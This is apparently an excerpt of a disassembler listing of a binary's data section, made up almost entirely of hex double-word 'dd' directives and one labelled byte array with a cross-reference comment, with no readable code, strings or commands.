		dd 0F506A6FAh, 0DA289FF6h, 21012EFBh, 9B9AE104h, 0C5BD6A10h
		dd 0C741BC01h, 0C0E76F3Eh, 8B973723h, 0A54FF7BFh, 2CBFA14Fh
		dd 9A41862Ah, 0C324E99Dh, 1C70780h, 0B503FF6Ah,	2ED5F9E1h
		dd 61090AF9h, 0D0EF5312h, 20023E5Eh, 5C529BCCh,	0C49D5EF9h
		dd 9AF25659h, 0E55FBD00h, 5063E46Fh, 0E62BCC00h, 302468FAh
		dd 0DB4133C8h, 78431BAh, 6005B05Bh, 0E9F7AFE0h,	61B6023Ah
		dd 0B84070E6h, 0E4802CC1h, 5D3AC471h, 36E2AA2Fh, 44411828h
		dd 6079512h, 117E096Bh,	9857AF50h, 90F30ECCh, 0C105D504h
		dd 5FECE0ECh, 72247A95h, 251947B5h, 9794E48Bh, 5509A529h
		dd 0A53DA571h, 1014D2F8h, 4B922EBFh, 0CB304CF0h, 6918D139h
		dd 130EDB93h, 20DC9DDEh, 5F0641EDh, 0F683E7B4h,	0B0E95BFAh
		dd 75332D51h, 50796092h, 47554C0Eh, 2B75C529h, 0EA9675AFh
		dd 2FE638CDh, 7B52BEF6h, 8B27A4E4h, 8866465Ch, 7EE89476h
		dd 0DF284C01h, 6EAC6E74h, 70547920h, 87670023h,	7280E7EFh
		dd 5B5A1AD6h, 5111A9F7h, 7945C90Fh, 0F22892E0h,	25E496AAh
		dd 5775A195h, 5CCD883Bh, 9BF422EAh, 85110F02h, 0FC5FA78Ch
		dd 48494064h, 347C8F61h, 0C1B6264Bh, 5B128C21h,	0B610C8F6h
		dd 16484890h, 0DB622AEDh, 3FEC55DBh, 0B9FB8B0Bh, 66DFC28Dh
		dd 444A012Ah, 2AEA3A5Eh, 0A1A26BB4h, 8415C282h,	0FE279E5Eh
		dd 0BF0E6C4Ah, 0DE2BF92Fh, 5EBDDE06h, 3448860Dh, 0D812B63Eh
		dd 3DB9D22Bh, 9AE63EB9h, 0CF80C704h, 0FC89BDCBh, 34178C1Ah
		dd 50AADB32h, 0B25BCE0Bh, 0D45B80E9h, 1259C4A1h, 0B845A3A0h
		dd 0C2F9B51Eh, 7909D1B8h, 4384378h, 0FF53C544h,	1767CD9h
		dd 5C8364E0h, 0BD5A1862h, 69030707h, 5C1E627Fh,	7F0055B4h
		dd 61455F3h, 0AA474A74h, 6BAF6924h, 18234Ch, 0EC2813ADh
		dd 223BBF17h, 0D57E279Ch, 1545C117h, 0BE153727h, 3C498FCCh
		dd 9FFD2F6Eh, 0D4AD38B7h, 6060A419h, 0D8A8DDE3h, 55A9AF2Dh
		dd 26EFD898h, 3D2540E2h, 4963D35Bh, 0D2597A18h,	196704Ch
		dd 8723D017h, 0B82EE65Bh, 0F269FD74h, 0FAD52683h, 0C1521EB0h
		dd 57DACE25h, 7BD1781Ah, 0CE2B3400h, 25D06D1Ch,	7A5EE459h
		dd 7911B589h, 4977C4D2h, 4FC779FCh, 0B11DF7F7h,	282F971Fh
		dd 578824C1h, 6E605B5Fh, 0D4B2344Eh, 9AAB6CC4h,	0D3AD916Fh
		dd 29C1CAE2h, 39122595h, 69D278F5h, 1B4C9FE1h, 0F7BF00B5h
		dd 295A966Ah, 5497618Dh, 52ACC4F9h, 940B3FA2h, 58806122h
		dd 2B12D040h, 80EC3C39h, 0A9E1B846h, 4CDD571Ah,	8A7676B4h
		dd 0FF921F20h, 3A00E0E2h, 4777191Ch, 67AF16h, 0D0BFF893h
		dd 0A76ABEDBh, 7B955B71h, 191C5968h, 1929DF8h, 86857365h
		dd 7E890309h, 0F812B6A9h, 8EC9AF60h, 415D3270h,	71202F1Ah
		dd 31CF5E4h, 0E7164FE2h, 0E1F174F1h, 5F8CCC79h,	0B1D786A2h
		dd 416FDE0Ah, 0A5BD297Ch, 7AFD6A14h, 66096FECh,	5C86D4BBh
		dd 6352596Eh, 61DB4025h, 71413E0Fh, 0C2CFC0DCh,	0EDB709Ch
		dd 6B28681Eh, 0C4310FA5h, 2E07ABE4h, 0D9F1BB60h, 79504CC2h
		dd 1788017Eh, 1FB19B41h, 2A4A8171h, 768E3F94h, 0F8FE6F30h
		dd 3699BFB5h, 985E40C3h, 0F8039AD3h, 10747B59h,	2554B776h
		dd 1238D55Fh, 0DD3E6DA3h, 4C960042h, 3C8997E7h,	5BC812CAh
		dd 4A21E758h, 8D01256Ah, 0A7E6CE55h, 0D2206EB8h, 9F55401h
		dd 7D3EE50Ch, 9CA45BD1h, 2E52D101h, 18AA0940h, 0C1E9130Bh
		dd 707ABB01h, 0F4175300h, 0A457CBF1h, 6AAA305Ah, 0CC984EF8h
		dd 1702021Fh, 0D3AA5AEDh, 0F8137355h, 1100AA50h, 0D4B05E9Ah
		dd 0F418B6E4h, 88CA01BBh, 565B556Fh, 0B8C82B31h, 6F0B9D5Fh
		dd 80283DFFh, 26919CD9h, 6F16BB3Bh, 0DBF8CC9Ah,	3176CD4Bh
		dd 1130606Ah, 0EBDA5697h, 2B185561h, 0F91043A6h, 0C0963023h
		dd 7742B25Eh, 0ACFB9D2Fh, 97AAFC70h, 956109FEh,	0A83E052Dh
		dd 119AA5B3h, 6839E5C0h, 6B25D8D6h, 66B0D53Bh, 441662BFh
		dd 44AE0B92h, 12DC8A7Fh, 294E00BAh, 663B74DBh, 0FC44BF13h
		dd 80502AAFh, 0BE10B64Ch, 785B1331h, 5AB0E845h,	968BF3ACh
		dd 0F100CFD9h, 0A40B5632h, 0FD8A2FE4h, 0FEB9FF5Ch, 0A92DCD25h
		dd 5E1DEAD4h, 1646D608h
		dd 17BC021Fh, 0E082F661h, 4E90B05Ah, 6324FADBh,	0FAB41FBCh
		dd 0CFBF5913h, 67A24EB4h, 0DCD92600h, 0E4477538h, 5A6FFB00h
		dd 0C33E53B4h, 81243817h, 0E8B93D12h, 4412932Eh, 0AA4E7EBDh
		dd 9CB44A6Bh, 0CCF67027h, 0CB7CFF00h, 30D942F0h, 0C799560h
		dd 0AF2EB880h, 17801F09h, 30618FF1h, 0F255D950h, 77C90812h
		dd 405B5BC2h, 97D3E972h, 5A25F394h, 0F478F404h,	0BD232F09h
		dd 811AA0A1h, 2433B8D7h, 59015E44h, 4D6AA525h, 12CEE0E7h
		dd 0F33959C9h, 0BE89810Fh, 0B5316008h, 7F8F29C9h, 7F241AD2h
		dd 846EAE56h, 38021723h, 0D7B5D142h, 0CDD5D49Ah, 56536B3Dh
		dd 83D55900h, 2D9AB5Fh,	8D09086Fh, 5B75321Dh, 0F2B8720Eh
		dd 3AE5072Ch, 18AD7D74h, 70F9CAA8h, 7EFD34C8h, 0CB13BD6Eh
		dd 5A68FD03h, 8025F9E0h, 0D52DBD0Bh, 79627B2Fh,	1ED181Bh
		dd 0F2560B58h, 3A50F18Bh, 0EB804A30h, 57AAAA3Ah, 6F80883Dh
		dd 10F976DCh, 3DFD0B3Bh, 2464B894h, 73EDA601h, 0E2CC798Dh
		dd 72088A3Bh, 0DBA76C4Fh, 3591E48h, 0E662D94Bh,	92759520h
		dd 25729ECDh, 0CF5D61E2h, 0F4FE67BEh, 77B3647Fh, 0E4C6977Ch
		dd 4F6B0C44h, 0D2FAF268h, 207A6BF1h, 0D7ADAACFh, 2C4DD40Bh
		dd 780A0990h, 9D3D923Fh, 2CFEF954h, 2584A743h, 202985E9h
		dd 799D2CC1h, 0C2524BD8h, 4ACB803Ah, 4AAAEF8h, 0CA1999E4h
		dd 0B7AF5EC5h, 0DCEE0135h, 2BD66547h, 25F65DFCh, 0D5ED524Eh
		dd 0EF641864h, 8C4A2DC3h, 47AE3CC5h, 61BB9680h,	2D45DB27h
		dd 13374C13h, 88FE664Dh, 0B1949696h, 215E0DCh, 0C96785FAh
		dd 43E09744h, 339E0209h, 0D8A631C3h, 2BBE2763h,	3FB2AB9Eh
		dd 5ECFF25Bh, 7DAD70B9h, 854880F8h, 0FF8E6B8Dh,	0CB1CA073h
		dd 0F97901DDh, 0DC052BC1h, 0AF48ED2Ah, 0B1ADC147h, 0D0EDC5D9h
		dd 0B5B7D6D0h, 37513956h, 49E62FB1h, 60500001h,	660404B0h
		dd 0BB7CD8BAh, 576F2D53h, 55DA7100h, 0CD665275h, 314EE716h
		dd 87771BAh, 0E0342FB0h, 0A1D629BCh, 0B0624A1Bh, 4F19763Ch
		dd 2B9FE039h, 79D7D395h, 0E81C1817h, 0A61F64EBh, 0A2E6BCFFh
		dd 0D223271Bh, 3A5D1C05h, 80C67F85h, 0F95EC65Eh, 9BF32C92h
		dd 65F780C0h, 909D0151h, 4BE95BE0h, 0BA78C495h,	0BF3A2AA2h
		dd 1847F82h, 0B85EC18Bh, 0F87200DCh, 9BF2C6C4h,	0D395FC08h
		dd 191C5988h, 0C4A3EC6Fh, 9AEE038h, 3D57D8F2h, 79DD8786h
		dd 97CBE0FCh, 594A150Fh, 791B0982h, 0DA68B09Fh,	0A0CEB81h
		dd 0D04AC2EEh, 0E5212D6Dh, 5C811337h, 2F18F2C5h, 138AC130h
		dd 24870F3Dh, 438CBA15h, 0F0615060h, 0BD064E01h, 8C1AA89Ch
		dd 89D0FD01h, 97871FB7h, 2701E33Bh, 12DD50h, 78FCAA26h
		dd 0AD7BE145h, 9D0BC09h, 0FEA05E0Ah, 12B16902h,	1C85C42Eh
		dd 8342C817h, 76B5BF30h, 257A0C94h, 8C74E347h, 0EC1B12F4h
		dd 7AC8EEF8h, 7BCD09B2h, 2281E320h, 2F61E422h, 0BD33BD30h
		dd 0BC94978Dh, 27B8F0B5h, 37D1FFh, 2C02B200h, 1CFBCF7Fh
		dd 6DE65F68h, 0C5A52EF9h, 4A241188h, 6AC09FA8h,	16CF8002h
		dd 0D549F7B4h, 284AB0EAh, 0B280A26Ch, 61891335h, 7741382Fh
		dd 23392141h, 8D4ECBB8h, 8AABC985h, 0BF50021Dh,	8999DF3Dh
		dd 8EB0B758h, 0C74069A1h, 76FCDB5Eh, 95BD030Bh,	9614D708h
		dd 13F3097h, 0BD7DB88Dh, 17795B5Bh, 3E0B4236h, 1DD782Bh
		dd 0D6A7F712h, 5C402220h, 23249854h, 212113D2h,	852565D1h
		dd 1E49B579h, 137D7AFEh, 9FECAA3h, 0D7BBDF1h, 0BB025F11h
		dd 2279ACC6h, 0A8DAF9DDh, 0F4194AA5h, 704AE6AFh, 18D55D71h
		dd 6C71E401h, 0B6E280EAh, 0FCB7B45Eh, 0DC3100B9h, 88306410h
		dd 32E6BC26h, 0ED2C74Bh, 1109111Dh, 0AAF46E69h,	2F470236h
		dd 15BA511h, 97AE44DDh,	816A080Eh, 0C2F92538h, 387285ADh
		dd 73AC6380h, 0BA251CA2h, 2E5CA85Dh, 25EE8B60h,	0B9DC277Dh
		dd 0CEC75E69h, 0D1691728h, 662C0006h, 0C3D2537h, 0A1672D00h
		dd 0D0210A55h, 74F0284Dh, 16EF16EEh, 484FE9CFh,	61493509h
		dd 116ED1EAh, 0C30091Ah, 0DA052C5Dh, 0BE9614A9h, 51B1858Fh
		dd 9F8D7807h, 0B4E490Eh, 7BE57844h, 0F2BF04C0h,	0AE50AF1Eh
		dd 0A97EDCA3h, 0B82EB1D3h, 0DB1CC965h, 50CB8908h, 9456CD00h
		dd 0A0009A9Bh, 0CF61081Ah, 0EC8F054Dh, 2D4864E9h, 8226BDFCh
		dd 391BA9BDh, 0FD8A6E32h, 0D7703127h, 272C1497h, 63908529h
		dd 0E81412DFh, 40960D19h, 0D578B377h, 1E7DBD12h, 43A1DBBCh
		dd 9DB92AA0h, 490067BCh, 52F3A68Bh, 0DBFB984h, 75A88921h
		dd 0C9E10150h, 48F66A28h, 0BD459CF5h, 0B79B4F00h, 0D8941D11h
		dd 44B913FBh, 25D6210Fh, 0A2EE0432h, 0EAB312AFh, 412D4FF1h
		dd 0D016BCB8h, 0C06FFCDEh, 0AD89D02h, 0B5D6A2D6h, 3D20F920h
		dd 0B3C0E62Bh, 0FB7D7869h, 0E8012673h, 1B3EDB50h, 34F18146h
		dd 977EE4CCh, 549D1744h, 64CDF225h, 0B12EBB60h,	0FB5C1394h
		dd 1E69E2A7h, 0FF003326h, 409266E1h, 0F93B06CCh, 0F6B685E3h
		dd 57279BDh, 0AB1D819Dh, 9DB744D8h, 102DB17Bh, 7EF10Ah
		dd 31990C49h, 0CA5830BFh, 295F2F02h, 5E14CD8Dh,	0B2DDEB10h
		dd 255971BFh, 0E0629DD5h, 0E2382373h, 76C61366h, 0DECAD276h
		dd 0F68F8022h, 500ABC88h, 4A8D9E82h, 0E280BC34h, 4BBD7DB9h
		dd 0F4A6F280h, 9ECE97F6h, 9E6F2547h, 60B31A41h,	6688206Bh
		dd 800E5AEh, 94975B2h, 25F99CFCh, 24FF8B5Eh, 0DAEB6184h
		dd 0C219C8B3h, 56578F26h, 0BDFC28E9h, 3AA84AC5h, 0BD017920h
		dd 7C485DD0h, 0E79B5F55h, 38562182h, 82514C5Eh,	15D90414h
		dd 1839BA1Dh, 668FB52Bh, 7898F084h, 0BB950218h,	490AF71h
		dd 2351585Eh, 3C3DFFEEh, 0C4AED702h, 53C175ACh,	51600107h
		dd 975B6034h, 67E5E8Bh,	31041908h, 2ED58DB6h, 6A9740B9h
		dd 0D1017A37h, 2AD8BDA7h, 0F370399Ah, 0D1DB4B69h, 7B015850h
		dd 0A302E07Ah, 63CD2A3Dh, 7FD8FC0h, 0C4B4FC95h,	1C4EE0Bh
		dd 0CFA739A8h, 0AA3D52B7h, 0B692EDDAh, 8B7013F1h, 0EB6595BBh
		dd 249AFD03h, 349BB550h, 97F12DFh, 0EC78EA27h, 0B7DB2F62h
		dd 0FF6F7FF8h, 57FE2A42h, 0FA8049D2h, 5B8829BDh, 337C0468h
		dd 0AAB3F439h, 483F7E0h, 8B0BE5D0h, 6E8AEBFEh, 8EADABA0h
		dd 2178D662h, 157C0926h, 2052D705h, 9FFFD9C5h, 0B0C58454h
		dd 6224ADAEh, 1019D68h,	2B0206E9h, 0F4A038A7h, 2A5B6629h
		dd 0FCAC4DC4h, 9C781C0h, 5A4F7AA7h, 0ADBF24FBh,	0B0DE57E6h
		dd 20776120h, 4A9E8B1Fh, 64D76D25h, 12EB6414h, 0AC44BDAEh
		dd 9B788C1Ch, 3B41A81Fh, 7AFA4804h, 6140BFAh, 98C0A1EDh
		dd 5BFB390h, 32E88FE5h,	1482C0FCh, 4E4B055Bh, 431918DCh
		dd 2CA04B11h, 503A27EBh, 423F8BF5h, 0D8B7579Bh,	0FEB3B809h
		dd 0FEA513C8h, 5180B79Eh, 85089EDDh, 1216219Ch,	81E472E8h
		dd 9D5DE38Ch, 74E752BEh, 61B3883Bh, 8D3E425h, 2B5C3EBAh
		dd 84E65027h, 4DE890D3h, 0EEBD6158h, 669F960h, 0EC5D569Fh
		dd 1BD095BAh, 0D2D000B4h, 0B75061CFh, 1F469E09h, 0F4EA0060h
		dd 66376FE9h, 2392B801h, 3DC78061h, 0B259E62Bh,	29C03218h
		dd 91C74CB6h, 121911BDh, 0F87587h, 20AB615Eh, 7FE2ECFFh
		dd 534FE517h, 9D031E60h, 5B1940ADh, 0B5296104h,	0E7BA1C6Dh
		dd 5BA9E452h, 33EE3B82h, 97057A7Fh, 6E3124C1h, 1CE2858Ah
		dd 4BA42930h, 0D53EECD2h, 0F3811D20h, 20C42702h, 97B644E9h
		dd 0FBD2571Dh, 0B08A53D1h, 0B2E14262h, 5D600211h, 0C0DB2D04h
		dd 61C9BFCFh, 2C3E9497h
		dd 0F60E0435h, 99A8A409h, 0ADA20265h, 5EF39E33h, 0ECDBFD03h
		dd 67AA01D6h, 95092964h, 0A6A77AD5h, 9ECA6A5h, 7BCDE575h
		dd 4E6DA527h, 96657D4Bh, 5EBD2909h, 0C7E2A5FDh,	5D698256h
		dd 0ACF0FD93h, 9D5FC425h, 795B1009h, 3077AD1Ch,	4E5BE7AEh
		dd 217BA567h, 0BD8479F2h, 128EF92Ah, 12AF445Bh,	0F8FBED9Eh
		dd 27FEB838h, 0CD74CE10h, 1A46D6h, 0B2C684A1h, 17F6E873h
		dd 0BBFD8529h, 265DD4D1h, 0C1D5772Fh, 2B01A9BDh, 0F802E4A7h
		dd 13C59D09h, 4E54E57h,	706539BFh, 80CAB937h, 90BBFBB7h
		dd 2119251Ch, 3757B5C2h, 5BDB002Fh, 26BE1EAh, 0F12DB5E4h
		dd 43F9DAh, 1D5E76Ah, 2BE57D35h, 345520AFh, 0BE17C122h
		dd 67A19FF0h, 0AB856A93h, 1F51458Ch, 9C4EEBBh, 0F2715F60h
		dd 0D7F7808Bh, 0FBB8F484h, 986DA470h, 0A80C02A2h, 6C50C3D1h
		dd 2DE9735Dh, 5B93B756h, 0C20A9BFFh, 563EEBD7h,	1B46D69Dh
		dd 6AD9AC00h, 299E0CF8h, 3D0B6EE9h, 0AFB0FB23h,	5B5D4BC2h
		dd 2BDBD00Dh, 50B62725h, 372104CBh, 0AF74E780h,	0FD0938h
		dd 0AF332E2Dh, 13B745Ah, 5906230Eh, 7B24A402h, 0EED2BEB8h
		dd 8BC20902h, 0BA715DD0h, 130E5447h, 23B6FFAh, 0F4D026Dh
		dd 0DA5BFD8Bh, 17E513ADh, 0FC96FF82h, 0C450CB3Bh, 0CF8100D5h
		dd 0D57C516Dh, 8300CCC8h, 0DB524884h, 27A8ABB0h, 4758C006h
		dd 0E2EBDE56h, 64F5321Dh, 995FCC9h, 0FC707F07h,	8113C373h
		dd 96C37C60h, 4858BD3Dh, 0A4FF334Ch, 304D0A81h,	0AB1FBC2Ah
		dd 1E7E2B12h, 3835C961h, 6C44AC71h, 0D214E852h,	2AED320Bh
		dd 5FC9A84Ch, 9A95EBC4h, 40C07CBEh, 0B5D9C197h,	5F0387E8h
		dd 5B1FDBCFh, 122CB95Eh, 1C1E74E0h, 25C6F473h, 1DE9C74h
		dd 9B8F2EB1h, 68860FF7h, 4989882Bh, 0AF15AB24h,	0FE3D986Dh
		dd 0F4B51EA8h, 32DDA88Bh, 87FF2DF5h, 512D195Eh,	0C12FBB90h
		dd 90002237h, 0F54234ACh, 48353F2Ah, 644C5A5h, 0A9EE5D01h
		dd 0FDCF11F9h, 2A717C8Eh, 2879F689h, 919D2382h,	98395D1Eh
		dd 2A189031h, 0BEBB5001h, 2812C672h, 11E64AFEh,	7C2514E0h
		dd 186FA902h, 77278A02h, 91C2966h, 76259985h, 7F04FC96h
		dd 2EB586B9h, 89269AD2h, 0ACD38E28h, 4BAD18E3h,	0AA7B421Dh
		dd 0D56FE531h, 790EC40h, 0E52709B0h, 3078F1A7h,	7937B7h
		dd 329C64ECh, 604A8DD3h, 822380A0h, 61D6A5C0h, 81B1D1B7h
		dd 0EAFA5806h, 850F116Ah, 0DB5A5C26h, 309A819Ah, 0C5599D8Bh
		dd 0ED1AE02Eh, 0CA50441h, 9A61C626h, 0A4EDDF4Ah, 2D8C15ACh
		dd 0C3D314D1h, 35181B59h, 0B1EE9500h, 61C56554h, 89D105FFh
		dd 0BA29F18Dh, 9D4DA138h, 6AF87A98h, 8EA6025Eh,	0B0A16FE3h
		dd 80A87C50h, 86D8590Ch, 0FB8000A6h, 494FBBDBh,	0F5B7CA3h
		dd 569D8BECh, 0BEEC2910h, 2533A0B4h, 3DE702E9h,	4B31B408h
		dd 1B095CB5h, 6389FD03h, 247965D5h, 0A41CD647h,	0B7C0ACE0h
		dd 0D7BB03D0h, 0F8894EA2h, 76508B90h, 76CD4B2Ah, 0AD9490C0h
		dd 23452F91h, 0E90050C4h, 2903DE61h, 9A33ABh, 64B79848h
		dd 0A9E4ADB9h, 0F028470Bh, 412975D9h, 49016684h, 3F807BF9h
		dd 75028A11h, 0BF66DA04h, 8CBDE0D0h, 598D3181h,	0D94C0A2Ch
		dd 0B8F4EB07h, 0DEF3C96Ah, 0D0FC70h, 5E03859Eh,	997FA6BFh
		dd 0B322E580h, 2B60D8EEh, 757AAA04h, 0F6A1E781h, 0F786632Eh
		dd 0EAF53125h, 0FA980176h, 7F7171E4h, 0E3584A2Eh, 42F44F95h
		dd 2FC5112h, 709850Fh, 249525Eh, 5E9E8AB9h, 0ED124D3Eh
		dd 607A6020h, 0F21080E3h, 35C781A0h, 369C1D32h,	0DBD7CF61h
		dd 0AE55E924h, 5D297E92h, 0B971F64h, 1338D52Dh,	0C84B2BF9h
		dd 0FCC05CFCh, 80C6F273h, 0CCCEDB03h, 1C5B43C9h, 0D361CBD8h
		dd 0FB64EED1h, 22FB882h, 5FE66FE9h, 509AC0B5h, 8DB52689h
		dd 0C5F964C9h, 74F3FBF7h, 12740150h, 5B1F36A2h,	0FA0B2439h
		dd 57AEC8BFh, 54797FBAh, 1C75E4B1h, 6F2E8391h, 7913693Ah
		dd 0E6B3893Bh, 19113779h, 892B984Bh, 34019D10h,	63407458h
		dd 1EB097F5h, 74B7AF87h, 0EF0BDE48h, 44A8528Fh,	0C56B01C4h
		dd 90E3EE57h, 60F37E54h, 8E45B27h, 2B5A909Dh, 0F1290039h
		dd 1458D0E6h, 0D795E2DBh, 5793743Fh, 43AFAE16h,	0FB5B967h
		dd 4CE6FB84h, 34F08DE0h, 7AFDE60Bh, 0ABECF7EEh,	97133520h
		dd 0DD78520Ch, 5FDE1F41h, 2B1260E6h, 0B5C057C0h, 0B75BF48Dh
		dd 14440A4Dh, 555CFD62h, 0C692510h, 0CDA51C54h,	0A1D3AF19h
		dd 4FD1850h, 9195098Ch,	0E8FFBD01h, 9C2D00EBh, 0CA7726A5h
		dd 0A0A08F31h, 798221D9h, 672020Fh, 51637ACAh, 0A1B0EB94h
		dd 0FD54BD5Bh, 162DAD62h, 294A59F8h, 15F23AF6h,	0B5D9D630h
		dd 16D9D6E5h, 1D2C7418h, 0A82E8B59h, 0B17900DCh, 13A9F8CDh
		dd 0D309ECA4h, 797FD780h, 0FF604532h, 0AD01BC7Bh, 9D5D6186h
		dd 326A2FD9h, 0A3001923h, 0DD2A6DDEh, 2A049D29h, 0C8DDEB2Eh
		dd 40FEE204h, 0BBE1FF12h, 0AB258761h, 12D9C518h, 0B095E76Fh
		dd 62559372h, 2FC18AB4h, 5871F85Ch, 0C018C80Fh,	856C6872h
		dd 5174569Fh, 0B74DADF5h, 37D4097Eh, 7E29557Eh,	5458D04h
		dd 0A184090Fh, 37600915h, 0A6BAB9FBh, 0F09720CFh, 1300C2E4h
		dd 9DDBC597h, 1D353B7h,	26AA5F7Ch, 2F7E824Eh, 496E2E17h
		dd 0D3804107h, 0FCE134E3h, 88EBD73Bh, 0D33C336Dh, 1B52875Ch
		dd 12E19C7Ah, 0C82BD88Bh, 60881380h, 262376B4h,	9230A59Dh
		dd 7CDAAA61h, 3EC11995h, 21120E2Fh, 9C70CA52h, 0D42354B7h
		dd 28C27F94h, 40C1F602h, 5B603283h, 30AAB917h, 0ACC2F13h
		dd 64DE25EFh, 0BB661B62h, 590DB82Fh, 48DC253Eh,	17E15825h
		dd 0E9585AE7h, 26E8ED2Ch, 0C77CC330h, 464A7DA1h, 16BC01E9h
		dd 0FA02CDE4h, 0FFB7E90Dh, 40765871h, 951D681Ch, 0BBC08C98h
		dd 137F5AEAh, 0F6FB681h, 0AF92939Bh, 4AD5F5D8h,	4E51B721h
		dd 5D2BAF09h, 0E9F99D38h, 0B0F7549h, 5773B753h,	50CAC6B3h
		dd 0BF60E15Ch, 7D318880h, 0AA855A78h, 0C99DDF30h, 0F97B9D1Ah
		dd 0A0181779h, 5334CB16h, 2DA4B4C8h, 347CACF4h,	0BB0AB0D2h
		dd 0C0E32CBDh, 0FC061837h, 6DB733B5h, 6016E45Fh, 97C7A697h
		dd 0FCBBB821h, 0F3D2424h, 0B2CD8E5Bh, 0F2B23645h, 7A041F0Fh
		dd 6E8D0640h, 530087EBh, 0E418F163h, 208E456Ah,	0D82D503Eh
		dd 499EFC5Bh, 81396455h, 0F46F1DDDh, 0A54BB54Ah, 5B577AFBh
		dd 0EC4B4DF9h, 688A4404h, 0C649FB0Bh, 0BFCB800Dh, 925B54FCh
		dd 4A041F38h, 0E3FB65D9h, 4021570h, 8DD1E365h, 62B7BF85h
		dd 0AE17BDB0h, 90625BFEh, 0A7157DA6h, 939AF89Eh, 142D7109h
		dd 59BBE82h, 0DB6116BFh, 0FD7BC92Fh, 5409E1BBh,	71D18FCFh
		dd 1B746B9Bh, 63107F4Bh, 0B876F568h, 56AFAC4Bh,	6E60FFE1h
		dd 9D5B49E3h, 46540AD1h, 194F001Dh, 326960F0h, 0CCDA13FEh
		dd 0AA0C88B5h, 0F8129700h, 65139864h, 0F6CB25EAh, 0F32F5BDEh
		dd 5BB4D071h, 82379D04h, 3B0010Dh, 62F8822Ch, 1DF3224Ah
		dd 0A3DA4FBEh, 0A128F892h, 6E6FFBB7h, 572B01DBh, 8D792C84h
		dd 3680F63Ch, 663FFC72h, 2FF19000h, 3ED8611Bh, 4A5F0FAh
		dd 0EFF0EE12h, 765480F6h, 5948F7A0h, 6D8D0B74h,	0D81C5D1Dh
		dd 26894145h, 0E5712381h, 23442EC4h, 46F0AB9Dh,	0FFCD4EB7h
		dd 1B00357Fh, 39DBA1B5h, 0EB288179h, 6D3EC590h,	1A691229h
		dd 89CEFDB9h, 0E79231CFh, 66304E05h, 0B0EDF81h,	8938AE5Fh
		dd 79298709h, 46D6CE56h, 3C39001Ch, 6E221B9Ah, 55A93112h
		dd 0BB079560h, 0DED1391h
		dd 0DA9F91EEh, 8CB77AEAh, 0A1A4F6B0h, 9147458h,	0FC5180F1h
		dd 0AD5F6471h, 0BA138854h, 5AE29Eh, 82AE8DC6h, 0BB00311Eh
		dd 0B787FF5Dh, 5EF3D4DDh, 25F3AC18h, 5A7C742Ah,	4660D44Dh
		dd 11493A3h, 4BDB8154h,	6E68969Dh, 21FC05B9h, 1D4B202h
		dd 423698Dh, 0D2F5B8F8h, 410E72B2h, 0FFE0CA7Fh,	381AF093h
		dd 41401ABDh, 43B4D949h, 4B09B9CCh, 2E026EAAh, 1912C623h
		dd 0F2C0ADEDh, 0C913DCFAh, 214C1800h, 0C744F902h, 8A74078Bh
		dd 0F40B4379h, 0D7E7EA0Eh, 2039C0F0h, 0E2F93125h, 0F50D8957h
		dd 165C50C2h, 0DE0E7E27h, 5D1B202h, 0DF8B871Bh
		db 0F2h
byte_515545	db 0FEh, 5Eh, 0F5h	; DATA XREF: ___:0044471Co
		dd 3FADFDBDh, 50220F7h,	0ED9D0BB7h, 6EBBE0A0h, 574F6118h
		dd 3B7F29AEh, 7927EC6Ah, 7800D251h, 0D1ED2C58h,	0D76F002Eh
		dd 4C81B866h, 8D1331F8h, 0DCEB0FADh, 6F4FB7A9h,	17B2E2F6h
		dd 26F2B430h, 145BC91h,	65AE3176h, 14623E9h, 0B2B66E9Eh
		dd 14309683h, 0AC874B19h, 9FBA3C35h, 37276142h,	0BEE501B8h
		dd 0AF698F4Ch, 7BBD5DD7h, 0E8644800h, 4F28EB1h,	81B501D3h
		dd 0BB660126h, 322F2896h, 7B55FC79h, 0AACD6BF5h, 79505640h
		dd 0AC310229h, 94EC37E7h, 0C9DBC3E1h, 0FD122FF6h, 48F1C7A6h
		dd 0C042F556h, 1517634h, 9B173BBFh, 9570D1FCh, 5949EAD9h
		dd 0BD0384FEh, 0B92194A1h, 0CC879263h, 9F587BB9h, 1121082Bh
		dd 40C4F652h, 0B5AB483h, 20024875h, 928469Bh, 87ADFADh
		dd 7AC75C95h, 5C36EA5Fh, 3F532D37h, 8A3ED0h, 876DFD6Bh
		dd 0C6B275B5h, 0D5BD9Fh, 9C38CD71h, 0BE3A1AC6h,	34CB4B1Bh
		dd 0E9FABC63h, 7989AED4h, 820BB92Fh, 5C5D7BCBh,	8E5E69DEh
		dd 0CD6BBA40h, 6F3041Ah, 0FF5081A9h, 0A34E74F3h, 37FB5B4Dh
		dd 0AAF3BF6Bh, 8D8BE4D1h, 612D9F6Dh, 8025B775h,	204016FEh
		dd 3601EA7Eh, 5B53B487h, 17D32B7h, 0FCAFB30h, 80BFE541h
		dd 2C53177Bh, 19E4B540h, 908B0D61h, 0A83AFD8Ah,	0EDE65EA0h
		dd 0B3AE03E0h, 0DBAAD4D7h, 9C8880F6h, 308E1136h, 31448912h
		dd 105AB585h, 0B3D2F5BDh, 0F5246B64h, 0D1FF4822h, 3DC0B56h
		dd 2E9FB1BBh, 22A0D50Dh, 1497478Ah, 24C4266h, 26ADBBFh
		dd 0E6EC55F8h, 0A9A938BDh, 0F9778226h, 0DCFE2491h, 0D4021946h
		dd 0D2BA1877h, 0FDD260F5h, 9FE9802Fh, 59A75C95h, 89042419h
		dd 104EEF90h, 6C36143h,	0DF0A09CFh, 30DD9148h, 0D82D9D28h
		dd 4F5CCA9h, 370F5080h,	7561228Ch, 25B252h, 1D2D126Ah
		dd 126DB58h, 225E3C5Dh,	0F9C66C53h, 0FEA13BDFh,	4D0DCD6Fh
		dd 4CE77C95h, 37C31256h, 6FB59CB9h, 28951251h, 0C98026F8h
		dd 6A67D05Bh, 4015661Fh, 0DF35C265h, 3B0005D3h,	817C3DD5h
		dd 143A0428h, 85A89E7Dh, 0D4E6BFA2h, 88D87BF0h,	7FE4DE25h
		dd 8D89E020h, 0EA99320Dh, 5E2DB91Dh, 153E5147h,	0F3A2AEh
		dd 6BE22074h, 2F6DD5h, 40BC1E47h, 1944956h, 671D9526h
		dd 0F2B06189h, 7B8E097Bh, 0E98270E6h, 0D97771E4h, 45692535h
		dd 0FC6D9208h, 734537E1h, 0D6472087h, 3BB861A4h, 0E155BFC2h
		dd 0B2E409h, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h,	0BCEE264Ah
		dd 40189EB0h, 71C47955h, 0C22D4901h, 16AD0342h,	0C2AAA87Fh
		dd 25185D85h, 0B99704C8h, 0D18B0626h, 0F2840D82h, 4755ADE9h
